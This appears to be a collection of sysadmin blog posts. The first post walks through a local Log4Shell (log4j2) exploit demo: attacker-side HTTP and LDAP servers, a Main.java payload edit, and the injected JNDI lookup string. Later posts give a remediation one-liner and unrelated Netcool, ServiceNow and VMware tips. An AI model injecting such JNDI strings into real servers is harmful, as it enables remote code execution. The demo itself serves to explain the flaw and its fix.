Example and video of log4j2 exploit

 This is a great example of the exploit in action:

https://github.com/ilsubyeega/log4j2-exploits

Here's the video showing it in action:

https://user-images.githubusercontent.com/37479424/145661983-131eb84a-9ac5-4014-9f6b-10b69d8d7cf4.mp4

You can run it yourself. On Linux, you'll first have to install the following prereqs:

node
npm
gradle
default-jdk

And you'll also need to modify Main.java before compiling to change the line:

Runtime.getRuntime().exec("cmd.exe /c start echo Exploit");

to

Runtime.getRuntime().exec("gnome-terminal");

The pieces that are provided for the exploit are:

- An HTTP server that would be owned by the attacker in the wild. This hosts the Main.class file that is going to display a new window on the server when the exploit fires.
- An LDAP server that would be owned by the attacker in the wild. This is the server queried by the vulnerable JndiLookup.class file, which includes a link to the HTTP server.
- A JVM that represents an application server like WebSphere or Tomcat

Once you feed the JVM the userr-controlled string "${jndi:ldap://127.0.0.1:3001/}", you'll see that the JVM spits out errors, but still successfully opens a new window. In the wild, this window represents ANY COMMAND THE ATTACKER WANTS TO RUN ON THE SERVER, and it's running as the same userid that's running the JVM. 

Basically, if you didn't already know, this is the worst, and most easily exploited vulnerability that's been found in the wild in a long time.

Quickest log4j2 vulnerability remediation I've found on Linux

 Quickest Linux fix I've found for the #log4j2 vulnerability:

find / -name "log4j-core-*.jar" -exec zip -q -d {} org/apache/logging/log4j/core/lookup/JndiLookup.class \;
reboot

The above command will find all files named "log4j-core-*.jar" on the system and will remove the "JndiLookup.class" file from them. The 'reboot' is a fairly large hammer, but it will restart all processes on the box. Alternatively, you can stop and restart all java processes running on the server.

Converting timestamp in milliseconds to seconds in Netcool probe rules

 Background

The Netcool OMNIbus ObjectServer expects timestamp values to be the number of seconds since epoch (00:00:00 UTC on 1 January 1970). This is a 10-digit number. However, some systems generate a timestamp that is the number of milliseconds since epoch (a 13-digit number). This causes the timestamp to be interpreted wildly incorrectly in the ObjectServer. One such event source is Nokia NSP, which integrates with Netcool via the Probe for Message Bus.

Conversion Process

My process of converting the 13-digit timestamp to the correct 10-digit one is straightforward:

# convert timestamp to string by concatenating it with a string

$millString = $timestampInMilliseconds + ""

# take the first 10 characters

$secondsString = substr($millString,1,10)

# convert back to an integer

$validTimestamp = int($secondsString)

# store in FirstOccurrence of Event

@FirstOccurrence = $validTimestamp

That's it.

Using VSCode to write Netcool Probe Rules and Impact Policies

 VSCode is Microsoft's free, cross-platform IDE for software development. It is booming in popularity recently because it is an amazing tool with lots of plugins. These plugins provide all kinds of different functionality. The ones I want to introduce to you today are syntax highligting plugins that provide syntax highlighting and syntax validation for Impact Policy Language (IPL) and Netcool Probe Rules Language. 

Here's an example from the Probe Rules extension:

Compared to the vi editor or Notepad++, this is a HUGE improvement.

ServiceNow Quebec Release Netcool Connector V2 Implemented in JavaScript

 Background

Prior to the Quebec Release, the Netcool Connector was only available as a Groovy script. In the Quebec release, ServiceNow offers BOTH the legacy Groovy connector and a new JavaScript-based connector. This new connector is named IBM Netcool V2. This new connector leverages the OMNIbus REST API for retrieving and updating events, whereas the legacy Groovy script directly connects to the ObjectServer database to perform these operations.

vCenter Appliance "tiny" Size Is Not Enough for Creating OpenShift Cluster

 I just tried to create an OpenShift 4.7 cluster using a vCenter appliance that was configured with the "tiny" size from the installer. This gives it 2 vcpus and 10GB RAM. I was using Installer Provided Infrastructure (IPI) on vSphere 6.7. The cluster creation failed with a timeout. I looked at the vCenter server performance stats and saw that it was using all of its CPU and memory. So I destroyed the cluster and doubled the resources on the vCenter VM. I then ran the cluster creation again, and everything completed as expected.

Overprovisioning vCPUs in ESXi as a VMWare guest

Background

I have a large server (96 vcpus and 1TB RAM) for working on cloud projects. A limitation, however, is that VMWare Workstation Pro 16 has a limitation of allocating a max of 32 vCPUs and 128GB RAM to any one guest VM. Normally this isn't a problem, but when you're dealing with OpenShift and Watson AIOps on-prem install, that's not enough. Specifically, Watson AIOps states that it requires a minimum of 36 cores for the all of the VMs required.

Solution

It turns out that the 32 vCPU limit isn't really a problem in this case. VMWare products allow you to overprovision the host resources to guests. And ESXi doesn't have any limitations on the number of vCPUs or amount of memory you can assign to one of its guests. This means that I can run ESXi as a guest under VMWare Workstation, and allocate more than the 32 vCPUs to its guest VMs. Here's a picture that I think clears up the situation:

As you can see, my ESXi guest (32 vCPUs) has three guest VMs that are using a total of 42 vCPUs, and they're all running fine. If all of the vCPUs get busy, performance will degrade, but I don't expect that to ever happen in my lab.

I've seen discussions where people overprovision vCPUs in a ratio of up to 4:1, meaning that I could possibly allocate 128 vCPUs in my ESXi guest as long as the guest VMs aren't too busy.